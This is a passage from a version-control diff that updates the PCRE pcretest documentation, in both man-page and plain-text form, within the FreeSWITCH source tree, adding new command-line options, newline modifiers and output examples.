-matching calls by including \eO in the data line (see below).
+\fBpcre_exec()\fP or \fBpcre_dfa_exec()\fP to be \fIosize\fP. The default value
+is 45, which is enough for 14 capturing subexpressions for \fBpcre_exec()\fP or
+22 different matches for \fBpcre_dfa_exec()\fP. The vector size can be
+changed for individual matching calls by including \eO in the data line (see
+below).
 .TP 10
 \fB-p\fP
 Behave as if each regex has the \fB/P\fP modifier; the POSIX wrapper API is
@@ -68,7 +83,14 @@
 Run each compile, study, and match many times with a timer, and output
 resulting time per compile or match (in milliseconds). Do not set \fB-m\fP with
 \fB-t\fP, because you will then get the size output a zillion times, and the
-timing will be distorted.
+timing will be distorted. You can control the number of iterations that are
+used for timing by following \fB-t\fP with a number (as a separate item on the
+command line). For example, "-t 1000" would iterate 1000 times. The default is
+to iterate 500000 times.
+.TP 10
+\fB-tm\fP
+This is like \fB-t\fP except that it times only the matching phase, not the
+compile or study phases.
 .
 .
 .SH DESCRIPTION
@@ -80,14 +102,20 @@
 stdout, and prompts for each line of input, using "re>" to prompt for regular
 expressions, and "data>" to prompt for data lines.
 .P
+When \fBpcretest\fP is built, a configuration option can specify that it should
+be linked with the \fBlibreadline\fP library. When this is done, if the input
+is from a terminal, it is read using the \fBreadline()\fP function. This
+provides line-editing and history facilities. The output from the \fB-help\fP
+option states whether or not \fBreadline()\fP will be used.
+.P
 The program handles any number of sets of input on a single input file. Each
 set starts with a regular expression, and continues with any number of data
 lines to be matched against the pattern.
 .P
 Each data line is matched separately and independently. If you want to do
 multi-line matches, you have to use the \en escape sequence (or \er or \er\en,
-depending on the newline setting) in a single line of input to encode the
-newline characters. There is no limit on the length of data lines; the input
+etc., depending on the newline setting) in a single line of input to encode the
+newline sequences. There is no limit on the length of data lines; the input
 buffer is automatically extended if it is too small.
 .P
 An empty line signals the end of the data lines, at which point a new regular
@@ -140,20 +168,30 @@
 The following table shows additional modifiers for setting PCRE options that do
 not correspond to anything in Perl:
 .sp
-  \fB/A\fP       PCRE_ANCHORED
-  \fB/C\fP       PCRE_AUTO_CALLOUT
-  \fB/E\fP       PCRE_DOLLAR_ENDONLY
-  \fB/f\fP       PCRE_FIRSTLINE
-  \fB/J\fP       PCRE_DUPNAMES
-  \fB/N\fP       PCRE_NO_AUTO_CAPTURE
-  \fB/U\fP       PCRE_UNGREEDY
-  \fB/X\fP       PCRE_EXTRA
-  \fB/<cr>\fP    PCRE_NEWLINE_CR
-  \fB/<lf>\fP    PCRE_NEWLINE_LF
-  \fB/<crlf>\fP  PCRE_NEWLINE_CRLF
+  \fB/A\fP              PCRE_ANCHORED
+  \fB/C\fP              PCRE_AUTO_CALLOUT
+  \fB/E\fP              PCRE_DOLLAR_ENDONLY
+  \fB/f\fP              PCRE_FIRSTLINE
+  \fB/J\fP              PCRE_DUPNAMES
+  \fB/N\fP              PCRE_NO_AUTO_CAPTURE
+  \fB/U\fP              PCRE_UNGREEDY
+  \fB/X\fP              PCRE_EXTRA
+  \fB/<JS>\fP           PCRE_JAVASCRIPT_COMPAT
+  \fB/<cr>\fP           PCRE_NEWLINE_CR
+  \fB/<lf>\fP           PCRE_NEWLINE_LF
+  \fB/<crlf>\fP         PCRE_NEWLINE_CRLF
+  \fB/<anycrlf>\fP      PCRE_NEWLINE_ANYCRLF
+  \fB/<any>\fP          PCRE_NEWLINE_ANY
+  \fB/<bsr_anycrlf>\fP  PCRE_BSR_ANYCRLF
+  \fB/<bsr_unicode>\fP  PCRE_BSR_UNICODE
 .sp
-Those specifying line endings are literal strings as shown. Details of the
-meanings of these PCRE options are given in the
+Those specifying line ending sequences are literal strings as shown, but the
+letters can be in either case. This example sets multiline matching with CRLF
+as the line ending sequence:
+.sp
+  /^abc/m<crlf>
+.sp
+Details of the meanings of these PCRE options are given in the
 .\" HREF
 \fBpcreapi\fP
 .\"
@@ -191,6 +229,13 @@
 the subject string. This is useful for tests where the subject contains
 multiple copies of the same substring.
 .P
+The \fB/B\fP modifier is a debugging feature. It requests that \fBpcretest\fP
+output a representation of the compiled byte code after compilation. Normally
+this information contains length and offset values; however, if \fB/Z\fP is
+also present, this data is replaced by spaces. This is a special feature for
+use in the automatic test scripts; it ensures that the same output is generated
+for different internal link sizes.
+.P
 The \fB/L\fP modifier must be followed directly by the name of a locale, for
 example,
 .sp
@@ -207,10 +252,8 @@
 so on). It does this by calling \fBpcre_fullinfo()\fP after compiling a
 pattern. If the pattern is studied, the results of that are also output.
 .P
-The \fB/D\fP modifier is a PCRE debugging feature, which also assumes \fB/I\fP.
-It causes the internal form of compiled regular expressions to be output after
-compilation. If the pattern was studied, the information returned is also
-output.
+The \fB/D\fP modifier is a PCRE debugging feature, and is equivalent to
+\fB/BI\fP, that is, both the \fB/B\fP and the \fB/I\fP modifiers.
 .P
 The \fB/F\fP modifier causes \fBpcretest\fP to flip the byte order of the
 fields in the compiled pattern that contain 2-byte and 4-byte numbers. This
@@ -254,17 +297,17 @@
 expressions, you probably don't need any of these. The following escapes are
 recognized:
 .sp
-  \ea         alarm (= BEL)
-  \eb         backspace
-  \ee         escape
-  \ef         formfeed
-  \en         newline
+  \ea         alarm (BEL, \ex07)
+  \eb         backspace (\ex08)
+  \ee         escape (\ex27)
+  \ef         formfeed (\ex0c)
+  \en         newline (\ex0a)
 .\" JOIN
   \eqdd       set the PCRE_MATCH_LIMIT limit to dd
                (any number of digits)
-  \er         carriage return
-  \et         tab
-  \ev         vertical tab
+  \er         carriage return (\ex0d)
+  \et         tab (\ex09)
+  \ev         vertical tab (\ex0b)
   \ennn       octal character (up to 3 octal digits)
   \exhh       hexadecimal character (up to 2 hex digits)
 .\" JOIN
@@ -344,12 +387,21 @@
 .\" JOIN
   \e<crlf>    pass the PCRE_NEWLINE_CRLF option to \fBpcre_exec()\fP
                or \fBpcre_dfa_exec()\fP
+.\" JOIN
+  \e<anycrlf> pass the PCRE_NEWLINE_ANYCRLF option to \fBpcre_exec()\fP
+               or \fBpcre_dfa_exec()\fP
+.\" JOIN
+  \e<any>     pass the PCRE_NEWLINE_ANY option to \fBpcre_exec()\fP
+               or \fBpcre_dfa_exec()\fP
 .sp
-The escapes that specify line endings are literal strings, exactly as shown.
-A backslash followed by anything else just escapes the anything else. If the
-very last character is a backslash, it is ignored. This gives a way of passing
-an empty line as data, since a real empty line terminates the data input.
+The escapes that specify line ending sequences are literal strings, exactly as
+shown. No more than one newline setting should be present in any data line.
 .P
+A backslash followed by anything else just escapes the anything else. If
+the very last character is a backslash, it is ignored. This gives a way of
+passing an empty line as data, since a real empty line terminates the data
+input.
+.P
 If \eM is present, \fBpcretest\fP calls \fBpcre_exec()\fP several times, with
 different values in the \fImatch_limit\fP and \fImatch_limit_recursion\fP
 fields of the \fBpcre_extra\fP data structure, until it finds the minimum
@@ -374,7 +426,10 @@
 The use of \ex{hh...} to represent UTF-8 characters is not dependent on the use
 of the \fB/8\fP modifier on the pattern. It is recognized always. There may be
 any number of hexadecimal digits inside the braces. The result is from one to
-six bytes, encoded according to the UTF-8 rules.
+six bytes, encoded according to the original UTF-8 rules of RFC 2279. This
+allows for values in the range 0 to 0x7FFFFFFF. Note that not all of those are
+valid Unicode code points, or indeed valid UTF-8 characters according to the
+later rules in RFC 3629.
 .
 .
 .SH "THE ALTERNATIVE MATCHING FUNCTION"
@@ -411,7 +466,7 @@
 of an interactive \fBpcretest\fP run.
 .sp
   $ pcretest
-  PCRE version 5.00 07-Sep-2004
+  PCRE version 7.0 30-Nov-2006
 .sp
     re> /^abc(\ed+)/
   data> abc123
@@ -420,11 +475,26 @@
   data> xyz
   No match
 .sp
+Note that unset capturing substrings that are not followed by one that is set
+are not returned by \fBpcre_exec()\fP, and are not shown by \fBpcretest\fP. In
+the following example, there are two capturing substrings, but when the first
+data line is matched, the second, unset substring is not shown. An "internal"
+unset substring is shown as "<unset>", as for the second data line.
+.sp
+    re> /(a)|(b)/
+  data> a
+   0: a
+   1: a
+  data> b
+   0: b
+   1: <unset>
+   2: b
+.sp
 If the strings contain any non-printing characters, they are output as \e0x
 escapes, or as \ex{...} escapes if the \fB/8\fP modifier was present on the
-pattern. If the pattern has the \fB/+\fP modifier, the output for substring 0
-is followed by the the rest of the subject string, identified by "0+" like
-this:
+pattern. See below for the definition of non-printing characters. If the
+pattern has the \fB/+\fP modifier, the output for substring 0 is followed by
+the the rest of the subject string, identified by "0+" like this:
 .sp
     re> /cat/+
   data> cataract
@@ -452,12 +522,13 @@
 length (that is, the return from the extraction function) is given in
 parentheses after each string for \fB\eC\fP and \fB\eG\fP.
 .P
-Note that while patterns can be continued over several lines (a plain ">"
+Note that whereas patterns can be continued over several lines (a plain ">"
 prompt is used for continuations), data lines may not. However newlines can be
-included in data by means of the \en escape (or \er or \er\en for those newline
-settings).
+included in data by means of the \en escape (or \er, \er\en, etc., depending on
+the newline sequence setting).
 .
 .
+.
 .SH "OUTPUT FROM THE ALTERNATIVE MATCHING FUNCTION"
 .rs
 .sp
@@ -475,7 +546,7 @@
 (Using the normal matching function on this data finds only "tang".) The
 longest matching string is always given first (and numbered zero).
 .P
-If \fB/g\P is present on the pattern, the search for further matches resumes
+If \fB/g\fP is present on the pattern, the search for further matches resumes
 at the end of the longest match. For example:
 .sp
     re> /(tang|tangerine|tan)/g
@@ -499,7 +570,7 @@
 match with additional subject data by means of the \eR escape sequence. For
 example:
 .sp
-    re> /^\d?\d(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\d\d$/
+    re> /^\ed?\ed(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\ed\ed$/
   data> 23ja\eP\eD
   Partial match: 23ja
   data> n05\eR\eD
@@ -556,6 +627,21 @@
 documentation.
 .
 .
+.
+.SH "NON-PRINTING CHARACTERS"
+.rs
+.sp
+When \fBpcretest\fP is outputting text in the compiled version of a pattern,
+bytes other than 32-126 are always treated as non-printing characters are are
+therefore shown as hex escapes.
+.P
+When \fBpcretest\fP is outputting text that is a matched part of a subject
+string, it behaves in the same way, unless a different locale has been set for
+the pattern (using the \fB/L\fP modifier). In this case, the \fBisprint()\fP
+function to distinguish printing and non-printing characters.
+.
+.
+.
 .SH "SAVING AND RELOADING COMPILED PATTERNS"
 .rs
 .sp
@@ -616,16 +702,27 @@
 result is undefined.
 .
 .
+.SH "SEE ALSO"
+.rs
+.sp
+\fBpcre\fP(3), \fBpcreapi\fP(3), \fBpcrecallout\fP(3), \fBpcrematching\fP(3),
+\fBpcrepartial\fP(d), \fBpcrepattern\fP(3), \fBpcreprecompile\fP(3).
+.
+.
 .SH AUTHOR
 .rs
 .sp
+.nf
 Philip Hazel
-.br
-University Computing Service,
-.br
-Cambridge CB2 3QG, England.
-.P
-.in 0
-Last updated: 29 June 2006
-.br
-Copyright (c) 1997-2006 University of Cambridge.
+University Computing Service
+Cambridge CB2 3QH, England.
+.fi
+.
+.
+.SH REVISION
+.rs
+.sp
+.nf
+Last updated: 10 March 2009
+Copyright (c) 1997-2009 University of Cambridge.
+.fi

Modified: freeswitch/branches/seven/libs/pcre/doc/pcretest.txt (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcretest.txt	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcretest.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -19,67 +19,93 @@
 
 OPTIONS
 
+       -b        Behave as if each regex has the /B (show bytecode)  modifier;
+                 the internal form is output after compilation.
+
        -C        Output the version number of the PCRE library, and all avail-
-                 able   information  about  the  optional  features  that  are
+                 able  information  about  the  optional  features  that   are
                  included, and then exit.
 
-       -d        Behave as if each regex has  the  /D  (debug)  modifier;  the
-                 internal form is output after compilation.
+       -d        Behave  as  if  each  regex  has the /D (debug) modifier; the
+                 internal form and information about the compiled  pattern  is
+                 output after compilation; -d is equivalent to -b -i.
 
        -dfa      Behave  as if each data line contains the \D escape sequence;
                  this    causes    the    alternative    matching    function,
                  pcre_dfa_exec(),   to   be   used  instead  of  the  standard
                  pcre_exec() function (more detail is given below).
 
+       -help     Output a brief summary these options and then exit.
+
        -i        Behave as if each regex  has  the  /I  modifier;  information
                  about the compiled pattern is given after compilation.
 
-       -m        Output  the  size  of each compiled pattern after it has been
-                 compiled. This is equivalent to adding  /M  to  each  regular
-                 expression.   For  compatibility  with  earlier  versions  of
+       -M        Behave  as if each data line contains the \M escape sequence;
+                 this causes PCRE to  discover  the  minimum  MATCH_LIMIT  and
+                 MATCH_LIMIT_RECURSION settings by calling pcre_exec() repeat-
+                 edly with different limits.
+
+       -m        Output the size of each compiled pattern after  it  has  been
+                 compiled.  This  is  equivalent  to adding /M to each regular
+                 expression.  For  compatibility  with  earlier  versions   of
                  pcretest, -s is a synonym for -m.
 
-       -o osize  Set the number of elements in the output vector that is  used
-                 when  calling  pcre_exec()  to be osize. The default value is
-                 45, which is enough for 14 capturing subexpressions. The vec-
-                 tor  size  can  be  changed  for individual matching calls by
-                 including \O in the data line (see below).
+       -o osize  Set  the number of elements in the output vector that is used
+                 when calling pcre_exec() or pcre_dfa_exec() to be osize.  The
+                 default  value is 45, which is enough for 14 capturing subex-
+                 pressions  for  pcre_exec()  or  22  different  matches   for
+                 pcre_dfa_exec().  The vector size can be changed for individ-
+                 ual matching calls by including \O  in  the  data  line  (see
+                 below).
 
-       -p        Behave as if each regex has the /P modifier; the POSIX  wrap-
-                 per  API  is used to call PCRE. None of the other options has
+       -p        Behave  as if each regex has the /P modifier; the POSIX wrap-
+                 per API is used to call PCRE. None of the other  options  has
                  any effect when -p is set.
 
-       -q        Do not output the version number of pcretest at the start  of
+       -q        Do  not output the version number of pcretest at the start of
                  execution.
 
-       -S size   On  Unix-like  systems,  set the size of the runtime stack to
+       -S size   On Unix-like systems, set the size of the  runtime  stack  to
                  size megabytes.
 
-       -t        Run each compile, study, and match many times with  a  timer,
-                 and  output resulting time per compile or match (in millisec-
-                 onds). Do not set -m with -t, because you will then  get  the
-                 size  output  a  zillion  times,  and the timing will be dis-
-                 torted.
+       -t        Run  each  compile, study, and match many times with a timer,
+                 and output resulting time per compile or match (in  millisec-
+                 onds).  Do  not set -m with -t, because you will then get the
+                 size output a zillion times, and  the  timing  will  be  dis-
+                 torted.  You  can  control  the number of iterations that are
+                 used for timing by following -t with a number (as a  separate
+                 item on the command line). For example, "-t 1000" would iter-
+                 ate 1000 times. The default is to iterate 500000 times.
 
+       -tm       This is like -t except that it times only the matching phase,
+                 not the compile or study phases.
 
+
 DESCRIPTION
 
-       If pcretest is given two filename arguments, it reads  from  the  first
+       If  pcretest  is  given two filename arguments, it reads from the first
        and writes to the second. If it is given only one filename argument, it
-       reads from that file and writes to stdout.  Otherwise,  it  reads  from
-       stdin  and  writes to stdout, and prompts for each line of input, using
+       reads  from  that  file  and writes to stdout. Otherwise, it reads from
+       stdin and writes to stdout, and prompts for each line of  input,  using
        "re>" to prompt for regular expressions, and "data>" to prompt for data
        lines.
 
+       When pcretest is built, a configuration  option  can  specify  that  it
+       should  be  linked  with the libreadline library. When this is done, if
+       the input is from a terminal, it is read using the readline() function.
+       This  provides line-editing and history facilities. The output from the
+       -help option states whether or not readline() will be used.
+
        The program handles any number of sets of input on a single input file.
-       Each set starts with a regular expression, and continues with any  num-
+       Each  set starts with a regular expression, and continues with any num-
        ber of data lines to be matched against the pattern.
 
-       Each  data line is matched separately and independently. If you want to
+       Each data line is matched separately and independently. If you want  to
        do multi-line matches, you have to use the \n escape sequence (or \r or
-       \r\n,  depending  on  the newline setting) in a single line of input to
-       encode the newline characters. There is no limit on the length of  data
-       lines; the input buffer is automatically extended if it is too small.
+       \r\n, etc., depending on the newline setting) in a single line of input
+       to  encode  the  newline  sequences. There is no limit on the length of
+       data lines; the input buffer is automatically extended  if  it  is  too
+       small.
 
        An  empty  line signals the end of the data lines, at which point a new
        regular expression is read. The regular expressions are given  enclosed
@@ -131,39 +157,49 @@
        The following table shows additional modifiers for setting PCRE options
        that do not correspond to anything in Perl:
 
-         /A       PCRE_ANCHORED
-         /C       PCRE_AUTO_CALLOUT
-         /E       PCRE_DOLLAR_ENDONLY
-         /f       PCRE_FIRSTLINE
-         /J       PCRE_DUPNAMES
-         /N       PCRE_NO_AUTO_CAPTURE
-         /U       PCRE_UNGREEDY
-         /X       PCRE_EXTRA
-         /<cr>    PCRE_NEWLINE_CR
-         /<lf>    PCRE_NEWLINE_LF
-         /<crlf>  PCRE_NEWLINE_CRLF
+         /A              PCRE_ANCHORED
+         /C              PCRE_AUTO_CALLOUT
+         /E              PCRE_DOLLAR_ENDONLY
+         /f              PCRE_FIRSTLINE
+         /J              PCRE_DUPNAMES
+         /N              PCRE_NO_AUTO_CAPTURE
+         /U              PCRE_UNGREEDY
+         /X              PCRE_EXTRA
+         /<JS>           PCRE_JAVASCRIPT_COMPAT
+         /<cr>           PCRE_NEWLINE_CR
+         /<lf>           PCRE_NEWLINE_LF
+         /<crlf>         PCRE_NEWLINE_CRLF
+         /<anycrlf>      PCRE_NEWLINE_ANYCRLF
+         /<any>          PCRE_NEWLINE_ANY
+         /<bsr_anycrlf>  PCRE_BSR_ANYCRLF
+         /<bsr_unicode>  PCRE_BSR_UNICODE
 
-       Those specifying line endings are literal strings as shown. Details  of
-       the  meanings of these PCRE options are given in the pcreapi documenta-
-       tion.
+       Those specifying line ending sequences are literal  strings  as  shown,
+       but  the  letters  can  be  in either case. This example sets multiline
+       matching with CRLF as the line ending sequence:
 
+         /^abc/m<crlf>
+
+       Details of the meanings of these PCRE options are given in the  pcreapi
+       documentation.
+
    Finding all matches in a string
 
-       Searching for all possible matches within each subject  string  can  be
-       requested  by  the  /g  or  /G modifier. After finding a match, PCRE is
+       Searching  for  all  possible matches within each subject string can be
+       requested by the /g or /G modifier. After  finding  a  match,  PCRE  is
        called again to search the remainder of the subject string. The differ-
        ence between /g and /G is that the former uses the startoffset argument
-       to pcre_exec() to start searching at a  new  point  within  the  entire
-       string  (which  is in effect what Perl does), whereas the latter passes
-       over a shortened substring. This makes a  difference  to  the  matching
+       to  pcre_exec()  to  start  searching  at a new point within the entire
+       string (which is in effect what Perl does), whereas the  latter  passes
+       over  a  shortened  substring.  This makes a difference to the matching
        process if the pattern begins with a lookbehind assertion (including \b
        or \B).
 
-       If any call to pcre_exec() in a /g or  /G  sequence  matches  an  empty
-       string,  the next call is done with the PCRE_NOTEMPTY and PCRE_ANCHORED
-       flags set in order to search for another, non-empty, match at the  same
-       point.   If  this  second  match fails, the start offset is advanced by
-       one, and the normal match is retried. This imitates the way  Perl  han-
+       If  any  call  to  pcre_exec()  in a /g or /G sequence matches an empty
+       string, the next call is done with the PCRE_NOTEMPTY and  PCRE_ANCHORED
+       flags  set in order to search for another, non-empty, match at the same
+       point.  If this second match fails, the start  offset  is  advanced  by
+       one,  and  the normal match is retried. This imitates the way Perl han-
        dles such cases when using the /g modifier or the split() function.
 
    Other modifiers
@@ -175,38 +211,43 @@
        remainder of the subject string. This is useful  for  tests  where  the
        subject contains multiple copies of the same substring.
 
-       The  /L modifier must be followed directly by the name of a locale, for
+       The  /B modifier is a debugging feature. It requests that pcretest out-
+       put a representation of the compiled byte code after compilation.  Nor-
+       mally  this  information contains length and offset values; however, if
+       /Z is also present, this data is replaced by spaces. This is a  special
+       feature for use in the automatic test scripts; it ensures that the same
+       output is generated for different internal link sizes.
+
+       The /L modifier must be followed directly by the name of a locale,  for
        example,
 
          /pattern/Lfr_FR
 
        For this reason, it must be the last modifier. The given locale is set,
-       pcre_maketables()  is called to build a set of character tables for the
-       locale, and this is then passed to pcre_compile()  when  compiling  the
-       regular  expression.  Without  an  /L  modifier,  NULL is passed as the
-       tables pointer; that is, /L applies only to the expression on which  it
+       pcre_maketables() is called to build a set of character tables for  the
+       locale,  and  this  is then passed to pcre_compile() when compiling the
+       regular expression. Without an /L  modifier,  NULL  is  passed  as  the
+       tables  pointer; that is, /L applies only to the expression on which it
        appears.
 
-       The  /I  modifier  requests  that pcretest output information about the
-       compiled pattern (whether it is anchored, has a fixed first  character,
-       and  so  on). It does this by calling pcre_fullinfo() after compiling a
-       pattern. If the pattern is studied, the results of that are  also  out-
+       The /I modifier requests that pcretest  output  information  about  the
+       compiled  pattern (whether it is anchored, has a fixed first character,
+       and so on). It does this by calling pcre_fullinfo() after  compiling  a
+       pattern.  If  the pattern is studied, the results of that are also out-
        put.
 
-       The /D modifier is a PCRE debugging feature, which also assumes /I.  It
-       causes the internal form of compiled regular expressions to  be  output
-       after compilation. If the pattern was studied, the information returned
-       is also output.
+       The /D modifier is a PCRE debugging feature, and is equivalent to  /BI,
+       that is, both the /B and the /I modifiers.
 
        The /F modifier causes pcretest to flip the byte order of the fields in
-       the  compiled  pattern  that  contain  2-byte  and 4-byte numbers. This
-       facility is for testing the feature in PCRE that allows it  to  execute
+       the compiled pattern that  contain  2-byte  and  4-byte  numbers.  This
+       facility  is  for testing the feature in PCRE that allows it to execute
        patterns that were compiled on a host with a different endianness. This
-       feature is not available when the POSIX  interface  to  PCRE  is  being
-       used,  that is, when the /P pattern modifier is specified. See also the
+       feature  is  not  available  when  the POSIX interface to PCRE is being
+       used, that is, when the /P pattern modifier is specified. See also  the
        section about saving and reloading compiled patterns below.
 
-       The /S modifier causes pcre_study() to be called after  the  expression
+       The  /S  modifier causes pcre_study() to be called after the expression
        has been compiled, and the results used when the expression is matched.
 
        The /M modifier causes the size of memory block used to hold  the  com-
@@ -216,38 +257,38 @@
        rather than its native API. When this  is  done,  all  other  modifiers
        except  /i,  /m, and /+ are ignored. REG_ICASE is set if /i is present,
        and REG_NEWLINE is set if /m is present. The  wrapper  functions  force
-       PCRE_DOLLAR_ENDONLY  always, and PCRE_DOTALL unless REG_NEWLINE is set.
+       PCRE_DOLLAR_ENDONLY always, and PCRE_DOTALL unless REG_NEWLINE is set.
 
-       The /8 modifier causes pcretest to call PCRE with the PCRE_UTF8  option
-       set.  This  turns on support for UTF-8 character handling in PCRE, pro-
-       vided that it was compiled with this  support  enabled.  This  modifier
+       The  /8 modifier causes pcretest to call PCRE with the PCRE_UTF8 option
+       set. This turns on support for UTF-8 character handling in  PCRE,  pro-
+       vided  that  it  was  compiled with this support enabled. This modifier
        also causes any non-printing characters in output strings to be printed
        using the \x{hh...} notation if they are valid UTF-8 sequences.
 
-       If the /? modifier  is  used  with  /8,  it  causes  pcretest  to  call
-       pcre_compile()  with  the  PCRE_NO_UTF8_CHECK  option,  to suppress the
+       If  the  /?  modifier  is  used  with  /8,  it  causes pcretest to call
+       pcre_compile() with the  PCRE_NO_UTF8_CHECK  option,  to  suppress  the
        checking of the string for UTF-8 validity.
 
 
 DATA LINES
 
-       Before each data line is passed to pcre_exec(),  leading  and  trailing
-       whitespace  is  removed,  and it is then scanned for \ escapes. Some of
-       these are pretty esoteric features, intended for checking out  some  of
-       the  more  complicated features of PCRE. If you are just testing "ordi-
-       nary" regular expressions, you probably don't need any  of  these.  The
+       Before  each  data  line is passed to pcre_exec(), leading and trailing
+       whitespace is removed, and it is then scanned for \  escapes.  Some  of
+       these  are  pretty esoteric features, intended for checking out some of
+       the more complicated features of PCRE. If you are just  testing  "ordi-
+       nary"  regular  expressions,  you probably don't need any of these. The
        following escapes are recognized:
 
-         \a         alarm (= BEL)
-         \b         backspace
-         \e         escape
-         \f         formfeed
-         \n         newline
+         \a         alarm (BEL, \x07)
+         \b         backspace (\x08)
+         \e         escape (\x27)
+         \f         formfeed (\x0c)
+         \n         newline (\x0a)
          \qdd       set the PCRE_MATCH_LIMIT limit to dd
                       (any number of digits)
-         \r         carriage return
-         \t         tab
-         \v         vertical tab
+         \r         carriage return (\x0d)
+         \t         tab (\x09)
+         \v         vertical tab (\x0b)
          \nnn       octal character (up to 3 octal digits)
          \xhh       hexadecimal character (up to 2 hex digits)
          \x{hh...}  hexadecimal character, any number of digits
@@ -304,13 +345,20 @@
                       or pcre_dfa_exec()
          \<crlf>    pass the PCRE_NEWLINE_CRLF option to pcre_exec()
                       or pcre_dfa_exec()
+         \<anycrlf> pass the PCRE_NEWLINE_ANYCRLF option to pcre_exec()
+                      or pcre_dfa_exec()
+         \<any>     pass the PCRE_NEWLINE_ANY option to pcre_exec()
+                      or pcre_dfa_exec()
 
-       The  escapes  that specify line endings are literal strings, exactly as
-       shown.  A backslash followed by anything else just escapes the anything
-       else.  If  the  very last character is a backslash, it is ignored. This
-       gives a way of passing an empty line as data, since a real  empty  line
-       terminates the data input.
+       The escapes that specify line ending  sequences  are  literal  strings,
+       exactly as shown. No more than one newline setting should be present in
+       any data line.
 
+       A backslash followed by anything else just escapes the  anything  else.
+       If  the very last character is a backslash, it is ignored. This gives a
+       way of passing an empty line as data, since a real  empty  line  termi-
+       nates the data input.
+
        If  \M  is present, pcretest calls pcre_exec() several times, with dif-
        ferent values in the match_limit and  match_limit_recursion  fields  of
        the  pcre_extra  data structure, until it finds the minimum numbers for
@@ -335,38 +383,42 @@
        The use of \x{hh...} to represent UTF-8 characters is not dependent  on
        the  use  of  the  /8 modifier on the pattern. It is recognized always.
        There may be any number of hexadecimal digits inside  the  braces.  The
-       result  is from one to six bytes, encoded according to the UTF-8 rules.
+       result  is  from  one  to  six bytes, encoded according to the original
+       UTF-8 rules of RFC 2279. This allows for  values  in  the  range  0  to
+       0x7FFFFFFF.  Note  that not all of those are valid Unicode code points,
+       or indeed valid UTF-8 characters according to the later  rules  in  RFC
+       3629.
 
 
 THE ALTERNATIVE MATCHING FUNCTION
 
-       By  default,  pcretest  uses  the  standard  PCRE  matching   function,
+       By   default,  pcretest  uses  the  standard  PCRE  matching  function,
        pcre_exec() to match each data line. From release 6.0, PCRE supports an
-       alternative matching function, pcre_dfa_test(),  which  operates  in  a
-       different  way,  and has some restrictions. The differences between the
+       alternative  matching  function,  pcre_dfa_test(),  which operates in a
+       different way, and has some restrictions. The differences  between  the
        two functions are described in the pcrematching documentation.
 
-       If a data line contains the \D escape sequence, or if the command  line
-       contains  the -dfa option, the alternative matching function is called.
+       If  a data line contains the \D escape sequence, or if the command line
+       contains the -dfa option, the alternative matching function is  called.
        This function finds all possible matches at a given point. If, however,
-       the  \F escape sequence is present in the data line, it stops after the
+       the \F escape sequence is present in the data line, it stops after  the
        first match is found. This is always the shortest possible match.
 
 
 DEFAULT OUTPUT FROM PCRETEST
 
-       This section describes the output when the  normal  matching  function,
+       This  section  describes  the output when the normal matching function,
        pcre_exec(), is being used.
 
        When a match succeeds, pcretest outputs the list of captured substrings
-       that pcre_exec() returns, starting with number 0 for  the  string  that
+       that  pcre_exec()  returns,  starting with number 0 for the string that
        matched the whole pattern. Otherwise, it outputs "No match" or "Partial
-       match" when pcre_exec() returns PCRE_ERROR_NOMATCH  or  PCRE_ERROR_PAR-
-       TIAL,  respectively, and otherwise the PCRE negative error number. Here
+       match"  when  pcre_exec() returns PCRE_ERROR_NOMATCH or PCRE_ERROR_PAR-
+       TIAL, respectively, and otherwise the PCRE negative error number.  Here
        is an example of an interactive pcretest run.
 
          $ pcretest
-         PCRE version 5.00 07-Sep-2004
+         PCRE version 7.0 30-Nov-2006
 
            re> /^abc(\d+)/
          data> abc123
@@ -375,18 +427,35 @@
          data> xyz
          No match
 
+       Note  that unset capturing substrings that are not followed by one that
+       is set are not returned by pcre_exec(), and are not shown by  pcretest.
+       In  the following example, there are two capturing substrings, but when
+       the first data line is matched, the  second,  unset  substring  is  not
+       shown.  An "internal" unset substring is shown as "<unset>", as for the
+       second data line.
+
+           re> /(a)|(b)/
+         data> a
+          0: a
+          1: a
+         data> b
+          0: b
+          1: <unset>
+          2: b
+
        If the strings contain any non-printing characters, they are output  as
        \0x  escapes,  or  as \x{...} escapes if the /8 modifier was present on
-       the pattern. If the pattern has the /+ modifier, the  output  for  sub-
-       string  0 is followed by the the rest of the subject string, identified
-       by "0+" like this:
+       the pattern. See below for the definition of  non-printing  characters.
+       If  the pattern has the /+ modifier, the output for substring 0 is fol-
+       lowed by the the rest of the subject string, identified  by  "0+"  like
+       this:
 
            re> /cat/+
          data> cataract
           0: cat
           0+ aract
 
-       If the pattern has the /g or /G modifier,  the  results  of  successive
+       If  the  pattern  has  the /g or /G modifier, the results of successive
        matching attempts are output in sequence, like this:
 
            re> /\Bi(\w\w)/g
@@ -400,24 +469,24 @@
 
        "No match" is output only if the first match attempt fails.
 
-       If  any  of the sequences \C, \G, or \L are present in a data line that
-       is successfully matched, the substrings extracted  by  the  convenience
+       If any of the sequences \C, \G, or \L are present in a data  line  that
+       is  successfully  matched,  the substrings extracted by the convenience
        functions are output with C, G, or L after the string number instead of
        a colon. This is in addition to the normal full list. The string length
-       (that  is,  the return from the extraction function) is given in paren-
+       (that is, the return from the extraction function) is given  in  paren-
        theses after each string for \C and \G.
 
-       Note that while patterns can be continued over several lines  (a  plain
+       Note that whereas patterns can be continued over several lines (a plain
        ">" prompt is used for continuations), data lines may not. However new-
-       lines can be included in data by means of the \n escape (or \r or  \r\n
-       for those newline settings).
+       lines  can  be included in data by means of the \n escape (or \r, \r\n,
+       etc., depending on the newline sequence setting).
 
 
 OUTPUT FROM THE ALTERNATIVE MATCHING FUNCTION
 
-       When  the  alternative  matching function, pcre_dfa_exec(), is used (by
-       means of the \D escape sequence or the -dfa command line  option),  the
-       output  consists  of  a list of all the matches that start at the first
+       When the alternative matching function, pcre_dfa_exec(),  is  used  (by
+       means  of  the \D escape sequence or the -dfa command line option), the
+       output consists of a list of all the matches that start  at  the  first
        point in the subject where there is at least one match. For example:
 
            re> /(tang|tangerine|tan)/
@@ -426,11 +495,11 @@
           1: tang
           2: tan
 
-       (Using the normal matching function on this data  finds  only  "tang".)
-       The  longest matching string is always given first (and numbered zero).
+       (Using  the  normal  matching function on this data finds only "tang".)
+       The longest matching string is always given first (and numbered zero).
 
